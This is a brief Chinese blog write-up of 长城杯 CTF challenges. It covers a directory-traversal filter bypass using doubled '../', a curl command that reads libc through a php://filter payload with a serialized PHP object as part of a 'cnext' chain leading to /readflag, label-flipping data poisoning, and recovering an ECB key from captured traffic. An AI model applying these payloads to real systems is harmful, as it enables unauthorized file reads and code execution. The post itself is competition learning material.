chaye的博客

长城杯

WEB

文曲签学

长按fn进入调试

提示：

flag在/flag下，可以尝试目录穿越漏洞来读取它。

会过滤“../”，可以使用双写来绕过。

文件名有大小写区分。

SeRce

会自动去除末尾分号，导致不一致。

读 maps 和 libc。打cnext。

curl -X POST -d 'filetoread=php://filter/read=convert.base64-encode/resource=/usr/lib/x86_64-linux-gnu/libc.so.6' 'https:///?exp=O%3A27%3A%22%5F%5FPHP%5FIncomplete%5FClass%5FName%22%3A0%3A%7B%7D%3B' > ./log

执行：

/readflag > /tmp/res

在读取 /tmp/res 即可：

filetoread=/tmp/res

AI

easy_poison

将训练数据集的target的1和0交换 然后训练

train_set_flipped.csv

数据安全

追踪tcp 1122流提取jar

反编译拿到ECB密钥

key：e45e329feb5d925b

提取class

flag1

更新: 2025-09-14 12:35:03
原文: https://www.yuque.com/chaye-apqbl/vsc85q/mg37e4z5f64rdekb